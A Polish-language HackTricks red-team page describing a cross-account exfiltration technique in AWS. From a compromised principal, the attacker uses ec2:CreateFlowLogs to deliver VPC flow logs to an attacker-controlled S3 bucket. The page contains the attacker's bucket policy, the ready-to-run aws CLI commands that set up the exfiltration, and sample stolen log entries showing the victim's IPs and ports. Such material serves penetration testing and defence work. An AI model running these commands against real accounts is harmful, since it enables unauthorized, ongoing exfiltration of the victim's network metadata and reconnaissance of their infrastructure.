AWS - VPC Flow Logs: eksfiltracja między kontami do S3

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podsumowanie

Wykorzystaj ec2:CreateFlowLogs do eksportu VPC, subnet lub ENI flow logs bezpośrednio do kontrolowanego przez atakującego bucketu S3. Gdy delivery role zostanie skonfigurowana do zapisu do zewnętrznego bucketu, każde połączenie widoczne na monitorowanym zasobie jest przesyłane poza konto ofiary.

Wymagania

  • Principal ofiary: ec2:CreateFlowLogs, ec2:DescribeFlowLogs, oraz iam:PassRole (jeśli wymagana/utworzona delivery role).
  • Bucket atakującego: polityka S3, która ufa delivery.logs.amazonaws.com z uprawnieniami s3:PutObject i bucket-owner-full-control.
  • Opcjonalnie: logs:DescribeLogGroups jeśli eksport do CloudWatch zamiast S3 (niepotrzebne tutaj).

Przebieg ataku

  1. Atakujący przygotowuje politykę bucketu S3 (w koncie atakującego), która pozwala VPC Flow Logs delivery service na zapisywanie obiektów. Zastąp placeholdery przed zastosowaniem:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

Zastosuj z konta atakującego:

aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal) tworzy flow logs wskazujące na attacker bucket:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

W ciągu kilku minut pliki flow log pojawiają się w attacker bucket, zawierające połączenia dla wszystkich ENI w monitorowanym VPC/subnet.

Dowody

Przykładowe wpisy flow log zapisane w attacker bucket:

version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Dowód listowania bucketu:

aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

Wpływ

  • Ciągła exfiltration metadanych sieciowych (source/destination IPs, ports, protocols) dla monitorowanego VPC/subnet/ENI.
  • Umożliwia analizę ruchu, identyfikację usług wrażliwych oraz potencjalne poszukiwanie błędów konfiguracji security group spoza konta ofiary.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks